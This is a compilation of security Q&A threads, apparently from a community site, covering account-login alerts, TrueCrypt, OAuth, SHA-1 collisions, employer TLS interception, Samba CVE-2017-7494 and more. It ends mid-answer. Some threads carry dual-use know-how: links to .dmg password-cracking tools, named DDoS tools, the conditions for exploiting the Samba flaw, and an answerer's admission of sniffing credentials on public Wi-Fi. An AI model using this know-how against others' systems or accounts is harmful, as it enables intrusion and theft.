Am I being used as a conduit for cyber-attacks against my friends? In the past week and a half, I've had two good friends of mine text me to ask if I'm trying to log into their online accounts. One was an iCloud account, and the other was Facebook Messenger. I recently moved to NYC, and both friends are currently living in Iowa. They both received alerts from iCloud and Facebook, respectively, saying that someone from NYC was trying to log into their account. Luckily, it appears neither attempt was actually successful. I have no reason whatsoever to access their accounts, and I definitely did not try to log into them myself.

Could this just be a coincidence, or is there actually a strong possibility that I'm being used to assist these attempts? Am I able to tell if my network or any of my accounts have been compromised? And is there something I could be doing to inadvertently allow an attacker get to my friends' account information?

I'm concerned about the possibility of this continuing to happen in the future, and I'm a little worried about how many of friends this has actually happened to that I don't know about. I also cannot confirm whether or not these attempts are coming from my home network.

For what it's worth, here are some more points of information that may or may not be relevant:

My home network is (and always has been) WPA2-AES encrypted and is hidden from the public (it will not show up in a standard wifi dropdown list).
Neither of my friends have ever used any of my devices to log into any of their accounts before. One of them came to my house and used my wifi once before, however.
The Facebook alert said the attempt was done on an iPhone 7 Plus, which no one in my household owns.
At the time of the iCloud attempt, I was the only one at my home. At the time of the Facebook attempt, no one was at my home.
I use two-factor authentication on my major accounts that support it (Google, Facebook, Amazon, etc.), and I have not seen any evidence of anyone else trying to log into my own accounts.
I work remotely and frequently visit coffee shops in the area to do work. Obviously, most of their networks are open, but I always, always connect to my work's secure VPN if I'm using an open network like that. Even at home I use the VPN a lot of the time. The VPN I connect to is located in Iowa.
Having said that, my phone does not use a VPN. Although a lot of the time I'm using LTE, there are still some times when it may get connected to an open wifi network.

Let's, for fun's sake, assume that the hugely likely answer, that this is  pure coincidence blown out of proportion by selective perception, is wrong.

Let's also assume that you're innocent of any wrongdoing.

The most likely explanation (but orders of magnitude less likely than the coincidence theory) then becomes that someone who knows all three of you, lets make her a gal named Mal, is trying to create conflict between you three.

Now, since your friends immediately thought of you as the culprit, and you don't mention anyone else you suspect, Mal must be incredibly devious, because she managed to conceal her dislike of you and your relationship with your friends from all of you, while investing criminal energy to damage you.

Mal either owns an iPhone 7 Plus, or is motivated to camouflage as an iPhone 7 Plus and capable of doing so. None of these options make sense. More on why later on.

If Mal really wants to create conflict between you, trying to access your friends accounts from some random place in NYC seems an awfully roundabout way to go about it. If you can't think of anything more likely to succeed than that, you're probably a stock fish. Be that as it may, framing you would work much better if the login attempts could be shown to come from one of your IP addresses (your phone or your home network). Still, there'd be no easy way to prove that a given IP address was held by you without contacting the police, who certainly wouldn't waste their time and act on a complaint about attempted logins on the internet, so this whole framing business is not just hugely unlikely, but, again, completely stupid.

But let's say that Mal, being almost as stupid as she was devious, didn't realize the whole idea was stupid, and so would be someone you knew, and who had access to your home wifi network, one of your devices that connected to it, or your phone, without you realizing so.

She could either be physically present in NYC, but hiding from you (since otherwise you'd probably have noticed her hanging around your place) or, in addition to being devious and stupid (for thinking up this harebrained scheme that won't work and actually wasting time on it), she would also need to be a talented hacker who managed to hack into one of your devices, again without any of you knowing about her hacking talents.

Now if Mal lived in NYC and didn't own an iPhone 7 Plus, OR if she hacked into your devices, she would also need to camouflage as an iPhone 7 Plus. You'd have to wonder why she would want to camouflage as a device you don't own if the motivation was to frame you and she was going through the trouble of using your network or one of your devices to accomplish it.

If she did own an iPhone 7 Plus, you'd need to wonder why she went through the trouble of attacking your friend's accounts from that. She'd need to know that pretty much the only thing iCloud, Facebook, Google etc tell you about strange login attempts is the perceived location, time and the device of the attacker. If she didn't do her account hacks from your network, she'd have to realize that an attack that came from an iPhone 7 Plus, which you don't own, at a time when you weren't home, wouldn't plausibly frame you if the only other piece of information was that it came from the same city you happened to live in; a city that has, apart from you, a fair number of other people in it.

I take it you don't know anyone who fits Mal's profile.

As you can see, this whole train of thought derails at pretty much every curve. I'm aware this isn't a rigorous ad absurdum proof, but you have to admit that it makes the other explanation, that this is simply a coincidence, look much, much better.


what freeware tool for java source code review? I need freeware tool for source code review for my application which used WebSphere Portal and Java as technology. Please provide me relevant information or links regarding this.

Unfortunately you're unlikely to get a free tool to do full code reviews of enterprise applications as Static analysis tools tend to be complex and pretty expensive.

That said there are some things you could look at which do address Java and could be of use to you.

PMD
Findbugs
Lapse+

would be good places to start looking.  also some other options from this list could be helpful.


How do URL shortening services like bitly prevent ddos attacks? i am working on a project that needs to shorten URLs to of about ~25 chars of length. I can create cryptic ids which map to full length URL and persist it in a DB. My only worry is how can i prevent someone from random generating such ids and bombard my service.

Any suggestions?

You could require proof of work, by requiring that every submissions are attached with a Proof of work, a string that when appended to the original URL, yields a string that when hashed, had a specified number of binary zeros. The number of zeros requested could be configured based on your system load.

This works to reduce a (D)DOS attack from polluting the database with spammy URLs. It doesn't protect against volumetric DDOS attack, which will still bring your service down. To protect against volumetric aspect of the DDOS, you'll need to replicate your servers. You need a server on many parts of the world which will check that the URL submission is valid (the proof of work is valid), before submitting the request to central database.

Additionally, you might also want to check that the expanded URL exists and is accessible before accepting submission, although there are reasons why URL that might not be resolvable to you could still be useful to other people (e.g. links to internal services, non-HTTP URLs).


What is the problem with TrueCrypt? Since a few days, the Sourceforge project page of TrueCrypt is displaying a message saying:

  WARNING: Using TrueCrypt is not secure as it may contain unfixed security issues

And, the authors are even encouraging users to switch for Microsoft BitLocker program. The press did a lot of comments about this change:

TrueCrypt considered HARMFUL – downloads, website meddled to warn: 'It's not secure' (TheRegister).
Bombshell TrueCrypt advisory: Backdoor? Hack? Hoax? None of the above? (Ars Technica).
Snowden’s Crypto Software May Be Tainted Forever (Wired).
... and so on...

A fork of the project even appeared on a Swiss website.

So, what is really happening ? What are these security issues in TrueCrypt ? What kind of security risks can be expected if we are keep using it ?

As of the latest information, the main problem with Truecrypt right now is that it is no longer supported and maintained. This is of significant importance as we expect the phase 2 audit report from iSec because it means that if serious flaws are found in the encryption used or the implementation of it, then those flaws will not be fixed by the developers. Further issues are created because TC is developed by two semi-anonymous (source in Russian) developers and its unique license prevents it from being open-source. However, until that report shows that flaws exist in the program, it can be argued that it is "safe enough" to use depending on the threats you are faced with in your situation. Essentially, it is no less safe today than it was two or three days ago to most users, although you should not take my word for that as I am by no means a security professional.

Yesterday, when the news was broken, there was initially a lot of speculation regarding the possibilities of what has happened. Theories ranged from the developers simply giving up, to TC being served with an NSL. The anonymity combined with the lack of clarification from the developers and amateurish method of informing their users created a lot of unnecessary speculation.

The Swiss website seems to be a genuine effort to eventually create a fork of the Truecrypt code and to create a new project with a new name.

So to give a rundown of your questions:

  So, what is really happening?

The developers seem to have lost interest in the project and they seem to believe that only they have the required knowledge and familiarity with the code, any fork deriving from the TC codebase will be potentially harmful.

  What are these security issues in TrueCrypt?

As of right now, the Phase 1 report of the iSec audit found 11 issues in the assessed areas of the code and documentation. The most serious of those being a weak volume header key derivation algorithm. To quote the official report:

  Exploit Scenario: An attacker captures an encrypted TrueCrypt volume and performs an offline brute force and/or dictionary attack to
  identify the key used to encrypt the Volume Header. They use the
  recovered key to decrypt the volume.

  What kind of security risks can be expected if we are keep using it?

If you do keep using it, you should keep in mind that the software is no longer supported. This is significant considering iSec's report on phase 2 of the TC audit was scheduled to be completed. Of course, it is uncertain whether that report will be released or even finished now that TC has essentially shut down. As with any piece of software that is no longer supported, if new issues arise, they will not be fixed. My suggestion for a home-user (such as myself) who faces very weak threats would be to continue using TC version 7.1 until someone picks up the project or a clear successor comes forward. Making rash decisions due to the sense of urgency created with the recent situation is unlikely to produce good results.

I hope this gives a decent overview of what happened. I might update this as new information surfaces.


What differences are there between built-in Administrator and other Administrators? Are there any significant differences in the rights, privileges, permissions, or other powers held by the built-in Administrator account, and those held by non-built-in Administrator accounts?

Some applications are incorectly coded to look for the SID of the well known Administrator account.  This was an issue in the early days of NT4 but don't think it's an issue now...

I don't think any applications match on the name "Administrator" since that is Engish specific and is a very poor programming practice.  "Administrateur" and other language matches would have to be accounted for.

Instead applications should match on the SID of the local group Administrators


PCI Compliance network scope I was wondering if anyone could clarify the scope of PCI compliance with regard to multiple networks.

At present, there's one PCI compliant network to which another network connects via VPN. The PCI compliant network will eventually store customer data and credit card information.

I read this article which suggests that as long as you don't store credit card numbers locally on the office network the scope doesn't extend that far. However, it's the VPN connection which leads me to think that it will indeed mean that the office would need to be PCI compliant too.

A large department all have access to the VPN (each with their own usernames) but with none of the password strength and renewal policies in place yet.

Is anyone able to clarify the situation preferably with reference to some official documentation?

I'm going to call your PCI compliant network #1, and the other #2. If no credit card information is going to traverse the VPN to #2 then it does not have to be PCI compliant. However, if any system located in #2 will need to access credit card information, or systems that store credit card information, then it would have to be PCI compliant.

Honestly though, the PCI rules for network are good practice for all parts of your network, not just the parts of it that deal with credit card information. Strong authentication, logging, etc should be considered standard.


Cases of information stolen by eavesdropping due to non-use of TLS Have there been any actual known examples of widespread (or not) information e.g. passwords or credit card details lost to an eavesdropper or MITM due to non-use of SSL/TLS?

Does anecdotal evidence count? Many, many people have done this before. One (comical) example is the DEF CON "Wall of Sheep", where the network at the DEF CON security event logs all plaintext logins and posts the information up on a public display. I even recall seeing a guy walking around with a hat covered in a PCB that had a tiny screen on his forehead, displaying in real-time the passwords that people were using over non-secured connections.

Another example is for proxies. It is not at all uncommon for public proxies to sniff for logins. Some such proxies are so blatant that they keep the "mitmproxy" header there, giving away that they are using software specifically designed for this purpose. Occasionally, people also see Tor exit nodes set up by malicious parties which try to steal information from people who are foolishly attempting to submit sensitive credentials over an insecure connection.

People stealing credentials over public, insecure Wi-Fi (at cafés, hotels, or airports, for example) is also a ubiquitous issue. I have seen people attempt this in real-time, and I have done it myself as well (not to steal credentials, but to obtain information on a specific target). There are also countless script kiddies who go to public hotspots (or break weak encrypted Wi-Fi) and simply perform a complete dump of all traffic going through the network for later analysis.


What is the simplest way to send an anonymous email? I would like to send an email that can't be traced back to me, is there a simple direct approach to do that?

I mean an electronic way that doesn't involve me going to an Internet cafe wearing a hoodie in order to avoid cameras.

I need no response
Obviously I don't want my email to be flagged as spam and never gets noticed.
I would like to report a serious issue to the authorities, I would like to remain anonymous because I don't want to testify.

Download Tor Browser
Using Tor Browser, go to a site like Send Anonymous Email


How best to crack password for MacOS encrypted .dmg, given I know the majority of the password content? Encrypted .dmg on MacOS High Sierra, tested password before sending for repair. Upon return from repair, password does not work. The possibilities I see are the .dmg file is corrupted, or I'm wrong about the password I thought I knew.
Nothing else seems corrupted so am tentatively assuming the latter.
In that case, as far as I can tell I could be wrong only about a minority of the password content.
Is there a way to discover the password given I have knowledge of the majority of its likely content?

Concerning corruption: Do you have a copy of this encrypted .dmg in your Time Machine backup?

Concerning entering your password manually: Have you typed your password out in to a text editor to ensure you are typing the password correctly?  Once you have verified the password in the text editor just copy and paste the password into the dialog box for the encrypted .dmg. Try this method with any possible passwords.

Brute forcing the password dialog box: You could try to brute force the password using one of the many utilities for such purposes.  Here is a list of some the scripts:

https://github.com/alfanhui/dmgCracker

https://calvin.me/cracking-passwords-on-macos

http://www.georgestarcher.com/software (sadly this doesn't support your OS).

Here is a nice blog post about the complexity of cracking the password of an encrypted .dmg.
https://www.whitehatsec.com/blog/cracking-aes-256-dmgs-and-epic-self-pwnage


What are Outlook's safe links? People using outlook.com as their mailbox may know this: If you receive an e-mail with a web link in it and copy the link with "right-click + copy link location" you will receive an outlook protection link. For example "https://test.com", will become this protection link (in my case):

"https://eur01.safelinks.protection.outlook.com/?url=https%3A%2F%2Ftest.com&data=02%7C01%7C%7Ccb2efbed1ae44d545cac08d644e7b37d%7C84df9e7fe9f640afb435aaaaaaaaaaaa%7C1%7C0%7C636772159263508835&sdata=8BK6la8r8jweL6T0bH9cm7VNzh5IIrx7hVL0ASZc6GU%3D&reserved=0".

This is some sort of protection, but I cannot see what attack it is preventing. Does anyone know for what this "link wrapping" is? I also wonder, what the data and sdata parameters are. (Seem to be hashes? [of the website?])

Safe Links is a feature that originated in Office 365 Exchange Online Advanced Threat Protection.  https://products.office.com/en-us/exchange/online-email-threat-protection

By wrapping the link, you give Microsoft a chance to check the URL before letting you through. So if it is say a link to download a virus or malware, it can show you a block page or warning page instead. The service also do some advanced stuff like visit the page on your behalf and scan for threats just in time, or show you the destination in a sandboxed page to prevent malware.

This is better than scanning the email at delivery time because some links may be to phishing sites or zero day malware that has not yet been discovered. But by the time you click the message in your inbox, it may have been caught (and thus will be blocked).

In a corporate environment, this is also helpful because it allows you to get metrics on who clicked on what. If an employee clicked through to a phishing site, you can look at the logs to determine who also clicked on that link as take action.


Effects of DDoS attacks on memory use under Linux Can someone whose Linux system is under DDoS attacks give me exact data on the effects of the Low Orbit Ion Cannon (LOIC), the High Orbit Ion Cannon (HOIC), Slowloris, PyLoris, Hping etc. on memory use under Linux? Basically, I'd like timestamped physical memory, buffers/cache, and swap usage statistics in 1-second intervals during various DDoS attacks.

These can be generated by issuing the following command in BASH:

while (true) do\
    echo -n `date +%s.%N`;\
    free | awk '!/shared/ { ORS=""; print "\t" $3 "\t" $4; }';\
    echo;\
    sleep 0.99;\
done >> ~/memory_use_log.csv &

I ask, because I have realized that my program - swapd ( http://cvs.linux.hr/swapd/, http://archive.debian.org/debian/pool/main/s/swapd/, http://packages.ubuntu.com/maverick/swapd, http://www.linuxcertif.com/man/8/swapd/, ... ) - has found new use on cheap low-memory-low-disk-space Virtual Private Servers (VPS), so I am considering implementing the Allocation Vector technology that I invented in 2001, but never implemented into swapd as swapds' use was subsiding with increasing memory and disk space availability.

It has also occured to me that maybe some DDoS tools have considerable effect on memory use under Linux. Before I released swapd in 2000, I tested its' local-attack tolerance by allocating memory at several MiB/s on a Pentium II - I could only slow down the system, but not crash it. So, I'd like to know how various DDoS tools effect memory use under Linux so that I can implement a counter-mechanism when implementing Allocation Vector technology, after which swapd (to be renamed to dswapd) will no longer require swap file size etc. parameters and, basically, any beginner will be able to use it just by specifying directories and maximum allowed disk space use per directory - everything else will be determined using Allocation Vector technology.

DDoS, or Distributed Denial of Service attacks are generally not meant to exploit a bug in code, but rather simply flood the host with packets, causing a denial of service either by saturating the connection to the box or by causing the machine to use all the CPU trying to process the amount of data coming in, the latter being more common on SSL (HTTPS) websites since the CPU must also decrypt/encrypt data streams.

HOIC and LOIC are essentially user-installed botnets that allow you to let your machine participate in a DDoS.  These are attacks which are tough to defend.

Slowlaris and Pylaris are Denial of Service attacks which exploit the logic of the webserver.  They cause a denial of service by opening a connection and leaving it open until it essentially times out, and by opening many at once and leaving them open  the webserver hits a maximum connection number and stop accepting new connections until someone disconnects.

In 2011 a bug was found in Apache that was exploited to cause memory exhaustion.

From what I understand of your question, the short answer is on most webservers, DDoS effects on memory is negligible.  I understand that VPS' are low memory, so write a short script to test it yourself.

Referring to your previous post, multiple subnets attacking does not change anything since it all still flows through the pipe.


What are the implications of a SHA-1 collision being found? Google have announced the discovery of a SHA-1 collision between two PDF files with distinct content.

While SHA-1 hashes are no longer permitted for SSL/TLS certificate fingerprints, and other measures would prevent certificate fingerprints from being manipulated in this way, what other uses of SHA-1 would be affected?

The attack authors mention GIT hashes as one possibility, but are there other common uses which do not have mitigation other than upgrading to another hash family or later SHA method?

For answers relating to how this collision was found, see this other question on Crypto.se

Currently, given the specific collision method used, the impact is quite limited. In particular, this method does not allow for an attacker to generate a collision with an existing file, where a SHA-1 hash has been provided. It wouldn't be possible, for example, to use this method to generate a malicious executable file which matched the signature provided on the legitimate distribution website.

It would be possible, in theory, for an attacker to generate two executable files which have the same SHA-1 hash, but perform different things when run. Similarly, it would be possible to generate multiple ISO images which have the same SHA-1 hash. However, in each case, other hash values would not match, and it's common for download sites to provide multiple types of hash (for example, Ubuntu provide MD5, SHA-1 and SHA256 hashes for all downloads). This can be seen with the shattered-1.pdf and shattered-2.pdf files:

# sha1sum shattered-1.pdf
38762cf7f55934b34d179ae6a4c80cadccbb7f0a  shattered-1.pdf

# md5sum shattered-1.pdf
ee4aa52b139d925f8d8884402b0a750c  shattered-1.pdf

# sha1sum shattered-2.pdf
38762cf7f55934b34d179ae6a4c80cadccbb7f0a  shattered-2.pdf

# md5sum shattered-2.pdf
5bd9d8cabc46041579a311230539b8d1  shattered-2.pdf

It may be possible to create a kind of polyglot file which produces the same hash values in both SHA-1 and MD5, but this has not been demonstrated, and would still fail, given, for example, a SHA-512 hash.

Similarly, for any system where a SHA-1 hash is used as a file identifier, it may be possible to get one half of a colliding pair of files into the system, then to swap it out for the other. An example of this would be a backup system which used SHA-1 on a file level for determining whether files had been copied correctly. However, it would be difficult to make a hash of the entire backup contents remain the same in this case, since the malicious file is unlikely to form the prefix for the whole backup file (it's more likely to be something identifying the whole file as a backup).

Overall, therefore, the Google announcement mostly just confirms what had been suspected for a while - SHA-1 is vulnerable to collisions, just as MD5 was, but finding them requires a lot of effort, and most of the really high profile targets (such as generating CA certificates) have mitigation in place from the very similar MD5 collisions found previously. Experts have been advising moving from SHA-1 for a while now, and this advice still stands.

Just as with MD5, however, this doesn't particularly impact the use of HMAC-SHA1, since the specific combination method used in the construction of HMAC values makes this type of collision irrelevant.


If hashing should occur server-side, how do you protect the plaintext in transit? I've been working on a full stack project recently for my own amusement and would like to add authentication services to this project, but want to make sure I'm doing it the right way. And before anyone says it, yes, I know: a well-tested and trusted authentication framework is highly suggested as it's likely you won't get your homegrown authentication just right. I'm well aware of this; this project is purely for amusement as I said, and I won't be using it in a production environment (albeit I want to develop it as though it will be used in a production environment).
I believe I have a fairly adequate understanding of the basic security principles in the authentication realm such as the difference between authentication and authorization, how you should never store plaintext passwords, why you should salt your passwords, why you should always prefer to use TLS/SSL connection between the client and server, etc. My question is this:

Should passwords be:
a) hashed and salted once server-side,
b) hashed and salted once client-side and once server-side, or
c) encrypted client-side and decrypted and then hashed and salted once server-side?

Many different variations of this question have been asked before on StackExchange (such as this question which links to many other good questions/answers), but I couldn't find one question that addresses all three of these options.
I'll summarize what I've been able to glean from the various questions/answers here:

Passwords should not only be hashed on the client-side, as this effectively allows any attackers who gain access to the hash to impersonate users by submitting the hash back to the server. It would effectively be the same as simply storing the plaintext password; the only benefit is that the attacker wouldn't be able to determine what the password actually is, meaning that they wouldn't be able to compromise the victim's accounts on other services (assuming salting is being used).
Technically speaking, if using TLS/SSL, passwords are encrypted client-side and decrypted server-side before being hashed and salted.
Hashing and salting on the client-side presents the unique issue that the salt would somehow need to be provided to the client beforehand.

It's my understanding that the most widely used method is to hash and salt the password server side and to rely on TLS/SSL to protect the password in transit. The main question that remains unanswered to me is what if TLS/SSL is breached? Many companies, schools, and government agencies that provide network services on site have provisioning profiles or other systems in place to allow them to decrypt network traffic on their own network. Wouldn't this mean that these institutions could potentially view the plaintext version of passwords over their networks? How do you prevent this?

It's my understanding that the most widely used method is to hash and salt the password server side and to rely on TLS/SSL to protect the password in transit.

This is entirely correct.

The main question that remains unanswered to me is what if TLS/SSL is breached?

Then you are in a lot of trouble, and nothing else much matters.
In the context of the hostile network you're describing, reading your password is the least of your worries. They can see everything you see, and they can read everything you write. They can inject arbitrary content into any page you request in a browser. If TLS/SSL is breached by a MITM, nothing can save you, as the fundamental foundation of all other security is gone.
Trying to perform hashing on the client doesn't matter, if the MITM injects a keylogger that reads the password as you type it.

Many companies, schools, and government agencies that provide network services on site have provisioning profiles or other systems in place to allow them to decrypt network traffic on their own network.

They cannot decrypt traffic simply by virtue of it passing through their network. Typically they install a root certificate they own, and then MITM your TLS traffic and replace the certificate of the site you're trying to reach with their own certificate. When you try to establish a secure connection with example.com, you're actually establishing a connection with the MITM, using their cert, then the MITM establishes their own secure connection on your behalf to example.com. When you send something to example.com, you're actually sending it to the MITM, who decrypts it and then forwards it over their own secure channel to example.com.

Wouldn't this mean that these institutions could potentially view the plaintext version of passwords over their networks? How do you prevent this?

Again, only if you install their root certificate, and then intercepting passwords should be he least of your worries. You should never log in to any personal accounts on these devices, as you have no privacy, and as you say, all of your traffic can be read by the business.


Secure OAuth 2 flow for client-side or mobile app I'm implementing an API and a client-side web app, and they are supposed to communicate via an API and use OAuth 2 for authentication.

I can't get over my confusion on what's the right way to authenticate users (i.e. without major security oversights).

I gathered the following:

Ideally, you should expose a web form on the API server which takes username and password and redirects back with an authorisation code, to be exchanged client-side for an access token access token.
The approach I described is considered cumbersome, so OAuth 2 offers an implicit flow where the client-side app makes a request containing a client_id and the user's credentials, which it gathers. It receives an access token.
Authentication toolkits seem to be wary of allowing only the client_id to be passed, and instead require the client_secret to be included.
Based on the previous point, as a developer you may have to embed your client_secret in the distributable application, thus making it public.
Some peers with an understanding of OAuth 2 told me that it is not uncommon for developers to embed the client_secret in their distributables, and that some high-profile services (allegedly Twitter) do it as well.
If you add a proxy between the client and the OAuth 2 server to add the client_secret to requests, it doesn't improve security as it is similar to ignoring the client_secret altogether.
The only security concern that I could find related to embedding client_id and client_secret in the client is that an attacker may implement their own client which, when given user credentials, may act on behalf of the user. This does not seem a likely attack, as phishing is similar and yields bigger benefits.

The following questions are still unanswered for me:

What is the difference between the Client Credentials flow and the Resource Owner Password flow? Which one should I prefer? The answers to this question do not give me a clear understanding of the difference.
Are there any major security concerns with using the implicit flow, or is it viable?
Is embedding the client_secret safe?

If not, what is the alternative? Should I still require a client_id, or allow using "public" (unregistered) clients?

It's not safe to save the client secret on the mobile, so I will work on question 3.

I don't a have a solution, but I will explain a alternative that could mitigate the risk of saving a client_secret into a mobile device.

An alternative that you can do would be the usage of installation credentials instead of client credentials. The client credentials  will have a parent relationship with installation credentials.

  Client Credentials 1
  Installation credentials 1
  Installation Credentials 2
  ....

The idea is to use a security channel backend to backend to generate installation credentials. You gonna need to create a service, where you receive a APP credentials and return a Installation ID. In addition, the mobile application owner will need to create a service where the user request a installation credential.

Basically,

Mobile APP -> BackEnd(Mobile APP Owned) --> BackEnd (OAuth Owner)

This solution doesn't solve your problem, but it mitigate a risk of expose secret. You will get a installation credentials and can use it on your OAuth flow. If some get the secret, it can impersonate only a single user. The attack will not scale.


Is secondary password (e.g.: pin) necessary? I find some cases (especially in online games) that a software or website asks users to enter an additional password, such as 4 or 6 digit pin numbers, in addition to their original password. Most of the cases, pin is prompted immediately after users successfully logs in with their username and password.

Is this really necessary?
Does an additional password makes the site or software more secure?
In what scenarios that it is needed to use an additional password?

EDIT:
Thank you for all your answers.
But what I really mean by "pin" is a secret code that has the same usage / behavior as a password.
The "pin" is secret, can be changed by user, and probably hashed & stored in a database the same way like a password does.

Here's one example I encountered in an online game:
When a user enters/runs the game for the first time, the game prompts to enter a "pin" consists of 4 digit numbers. This pin can be changed later.
The pin is always used whenever another time the user logs in, and is prompted after the user enters his/her username and password.

In certain implementations, yes, however it is susceptible to the same flaws single-factor passwords have. This renders the extra steps virtually useless.

In general there are three types of factors:

Something you know
Something you have
Something you are

Because a password and reusable pin rely on the same mechanism of knowing something, they can easily both be defeated with the use of a key-logger or other social engineering tactic. The pin would increase the crack-time of a brute force attempt, however it would not completely mitigate the risk of a brute force attempt as a two-factor authentication standard would.

In my experience, often times the pin input field is introduced only after the password is verified. A 6 pin code is easily broken once the initial password is discovered by using the password to gain access to the pin page and brute forcing through less than a million possible number combinations. However, input fields that require the password and the pin code appended together to verify credentials can vastly increase the time to break a password. A password that requires 8 alpha numeric characters hashed with md5 will require just over 113 years to go through all combinations.(http://calc.opensecurityresearch.com/) A password that appends 8 alpha-numeric characters and a 6 alphanumeric pin together increases the calculation time to over 84 trillion years.

If the pin is generated from a physical token with a constantly updating number, you increase the security because you will need both a password and the token to login. Best practices would dictate using true two-factor security and not rely on single-factor security.


what is the appropriate data integrity check control for the data at rest? An application does encrypt the data using a secrete key before the data is being written to the database to prevent the disclosure attack.
However how do we verify the integrity of such data when application retrieve data from database and decrypt it? what if a privileged user (DB admin) update the encrypted data in the database directly ?
Usually an algorithm in application code trying to decrypt the tampered data would through an exception .A modified or tampered encrypted data  fails to decrypt always ? if so this would give a hit that data integrity has lost.Is this control reliable ?   or do we need to sign the data along with encryption before storing into the database and verify the hash when data is retrieved from database ?

In some cases, a modified ciphertext may trigger a padding error upon decryption.  However, this will not always be the case, therefore authentication is needed in addition to encryption.
Some modern modes of AES encryption (such as AES-GCM) combine authentication with encryption.  Other modes of AES (such as AES-CBC) do not include authentication, so an authentication function (such as HMAC) is often used in conjunction with these modes.
See Why do you need message authentication in addition to encryption? for more information on this subject.


How can I determine if my employer is using their security certificate to MITM employees' HTTPS connections? My employer recently changed their WiFi network set up, and they now require accepting a certificate in order to connect.
Is there any way that I can check if they are performing a MITM attack to spy on the employees?
I would expect that I should be able to see which CA was used to establish a connection in my browser, but I'm not sure how to do this. If I see my employer's certificate, can I assume that they are able to see my unencrypted traffic, and if I see a different certificate, then it's not?
I also am loosely familiar with Wireshark, but I'm not sure if that's necessary.
Is there any way to make a determination or is completely unknowable?

I would expect that I should be able to see which CA was used to
establish a connection in my browser, but I'm not sure how to do this.

It varies by browser, but in Chrome, for example, you would click on the padlock on the left hand side of the address bar:

Then click on the line where it says "Certificate":

After you click "Certificate", a new window will pop up.  Click on the tab named "Certification Path" and look at the root certificate (the top certificate in the list).  If that is the one your employer provided, then they are MITM this connection to this web site.

If I see my employer's certificate, can I assume that they are able to
see my unencrypted traffic, and if I see a different certificate, then
it's not?

Correct, that's how you can tell.

Is there any way to make a determination or is completely unknowable?

It's absolutely knowable.  It would be labor intensive to try and do for every web site, but frankly, once you find your employer MITM one web site, you can assume they're doing a lot of web sites.  Many employers exclude health and financial web sites from monitoring, for what that's worth.


What makes me vulnerable to CVE-2017-7494? I do understand that basically all Versions of Samba from 3.5.0 onwards are vulnerable to a remote code execution vulnerability.
And there is even PoC Code to check if a specific server is vulnerable by myself.
But I do not understand in what exact circumstances a server is vulnerable. Rapid7 wants to tell who is affected, but does not provide a concrete answer to this.

Some source tells that the attacker has to have authorized access with write-permissions. But this information does not satisfy me. What is the exact combination of states and events that lets an attacker exploit this vulnerability?

You are exposed to this vulnerability only if,

You are using Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4
Intruder have a valid credential for accessing samba server
You have a shared writable folder which can be accessible by intruder so that he can save the payload (shared library).

So, if the above requirements met then the intruder can exploit the vulnerability.

According to RedHat,

  A remote code execution flaw was found in Samba. A malicious authenticated samba client, having write access to the samba share, could use this flaw to execute arbitrary code as root.


How can an end-user verify the authenticity of a third-party authentication provider's login form Given the ubiquitous use of third party authentication providers in web apps today, how can end-users verify the authenticity of the login forms that collect their credentials? What's to stop a malicious website from displaying a fraudulent Google or Facebook login form, for the purpose of harvesting user credentials? Is there something about OAuth, OpenIdConnect, etc. which prevents this behavior?  It seems like it would be quite prevalent if not.

EDIT: As others have pointed out, web apps are supposed to redirect the user to the authentication provider's site, rather than embedding the login form in their own page. What actually sparked my interest in this topic was the Postman browser app in Chrome, which displays a Google login form with no indication of its origin or destination.

how can end-users verify the authenticity of the login forms that collect their credentials?

Third-party authentication protocols on the web usually rely on redirecting to the authentication provider rather than allowing (potentially untrusted) sites to embed their authentication controls.

When a user is redirected to a domain owned by the authentication provider, they can verify the provider's authenticity by checking their browser's security indicators (the full URL, the green SSL lock icon, etc.) before they enter their credentials. Usually, they are also informed about the scope of the data shared and permissions granted to the appplication.

E.g., if you're authenticating with Google, expect to be redirected to a consent screen like this:

(Image Source)

  What's to stop a malicious website from displaying a fraudulent Google or Facebook login form, for the purpose of harvesting user credentials?

If you are prompted to enter your credentials embedded on an untrusted site or inside an untrusted application, you have no reliable means of verifying that your input is safe (unless you're willing to carefully inspect the app's source, which is unrealistic for the average user).

RFC 6749 (The OAuth 2.0 Authorization Framework) comments on the problem of embedded authentication in a few places. This is about native applications in particular, but it illustrates the general problem with embedding:

9.  Native Applications

   (...)

   When choosing between an external or embedded user-agent, developers
   should consider the following:

   (...)

   o  An embedded user-agent poses a security challenge because resource
      owners are authenticating in an unidentified window without access
      to the visual protections found in most external user-agents.  An
      embedded user-agent educates end-users to trust unidentified
      requests for authentication (making phishing attacks easier to
      execute).

(Resource owner = the user)

And from the section about security considerations:

10.11.  Phishing Attacks

   Wide deployment of this and similar protocols may cause end-users to
   become inured to the practice of being redirected to websites where
   they are asked to enter their passwords.  If end-users are not
   careful to verify the authenticity of these websites before entering
   their credentials, it will be possible for attackers to exploit this
   practice to steal resource owners' passwords.

   Service providers should attempt to educate end-users about the risks
   phishing attacks pose and should provide mechanisms that make it easy
   for end-users to confirm the authenticity of their sites.  Client
   developers should consider the security implications of how they
   interact with the user-agent (e.g., external, embedded), and the
   ability of the end-user to verify the authenticity of the
   authorization server.

(Emphasis my own)


Can X.509 Authentication be subject to brute force attacks? I am working on an application (using Spring Security) that has two possible user authentication mechanisms:

either X.509 certificate (using mutual SSL handshake)
or user + password

For user+password, I added a brute-force prevention mechanism based on IP blocking (simple POC tutorial), when there are lots of consecutive failed user+password login attempts from the same IP address (the app is internal, so should not be exposed to ISP proxies hiding users).

But is it possible to do (somehow) brute-force attacks with X.509 certificates?

EDIT: I am checking if the certificates are emitted by approved CAs (using a JKS trust-store).

The X509 just authenticates the identity the user is claiming to be, so in theory yes. But an attacker is not going to brute force guessing the correct keys for a X509 certificate because there are so many possibly keys.


Certificate expiry validation - in what stage? I'm implementing certificate expiry validation for a client. I'm not sure about the following.

Is there a standard/popular implementation regarding the order of validation-

Check if the certificate is in the trust-store first and only then the expiry?
In this case I will present the user with an "expired certificate" error only if otherwise the certificate would have been trusted.
Or maybe there is no point in checking the signature if the certificate is expired and will be rejected anyway.
I don't give the user a choice here, but he will see a different error message in this case that only mentions an expiry.

This answer will depend on which PKI software you're using and how it's configured to handle revocation information. Certificate errors have a precedence; you want to check the most severe first.

The general procedure for validating a certificate is:

Check that the Root Cert is in your trust store (or some complicated path-building for a big corporate CA, see [**]).
Starting at the root, walk back down the cert chain checking for each one:

Is it Revoked? -- the certificate will contain information on where and how to check that it's still valid, usually by CRL or OCSP. Follow this link to make sure it hasn't been revoked.
